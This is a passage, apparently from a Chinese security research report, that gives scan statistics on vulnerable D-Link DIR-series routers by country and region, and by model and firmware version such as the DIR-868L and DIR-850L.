可以看到存在漏洞的D-Link DIR系列路由器在新加坡、韩国和美国尤其多，已经超过1000条记录，新加坡更是超过了2000条记录。其他国家和地区也存在不少。如果修复不及时，很有可能被黑客利用，破坏受威胁国家和地区的网络设施，造成重要数据泄露、网络瘫痪等不可挽回的严重后果。

下图是国内的情况。

图3 国内受到D-Link DIR系列路由器漏洞威胁的地区

将目光转至国内。中国内地可以探测到的受威胁的路由器设备并不多，仅有19条记录。有安全隐患的D-Link DIR系列路由器更多集中在我国台湾省和香港地区，一共有843条记录。中国内地探测到的受此次漏洞威胁的路由器不多的原因可能有两点：1.国内公网IP数稀少，分配给D-Link路由器过于奢侈；2. D-Link DIR系列路由器在国内销量不高。

接下来从路由器型号的角度进行分析。

图4 D-Link DIR系列路由器漏洞版本分布
（内圈表示型号。外圈表示内圈对应型号的各个固件版本）

可以看到路由器型号中DIR-868L与DIR-850L受影响比较严重，DIR-868L占了大约31.66%，而DIR-850L大约占了21.67%。

从固件版本来分析，DIR-868L的1.03SHC、1.09版本固件受影响数量多，分别占比7.03%、5.24%，DIR-850L的1.15固件版本受影响数量较多，占比5.22%，DIR-610的1.01占比8.11%，以及DIR-601N+的1.00版本的固件占比7.15%，以上受影响的固件版本占比均超过5%。

下图是受影响路由器型号详细的数据分析。